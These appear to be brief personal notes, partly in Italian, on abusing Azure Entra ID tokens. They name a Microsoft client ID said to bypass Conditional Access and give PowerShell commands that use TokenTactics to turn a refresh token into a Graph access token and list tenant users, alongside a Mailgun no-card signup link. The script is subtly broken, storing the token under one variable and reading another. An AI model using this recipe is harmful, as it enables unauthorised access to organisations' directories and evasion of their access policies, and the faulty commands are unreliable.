Link for creation account as developer without any card requested:
https://signup.mailgun.com/new/signup?plan_name=dev_free¤cy=USD
https://github.com/cisagov/ScubaGear/issues/1599
https://bastradamus.com/azure-entra-id-token-manipulation-ca156e9cd26e

Seems that this Client ID bypass Conditional Access Policy:
Microsoft Mobile Application Management
0a5f63c0-b750-4f38-a71c-4fc0d58b89e2
Install the necessary module to interact with Microsoft Graph:
Install-Module -Name Microsoft.Graph
Import-Module ./TokenTactics.psd1
$GraphTokens = RefreshTo-MSGraphToken -RefreshToken "IL_TUO_REFRESH_TOKEN"
$SecureToken = $MSGraphToken.access_token | ConvertTo-SecureString -AsPlainText -Force
Connect-MgGraph -AccessToken $SecureToken
Get-MgUser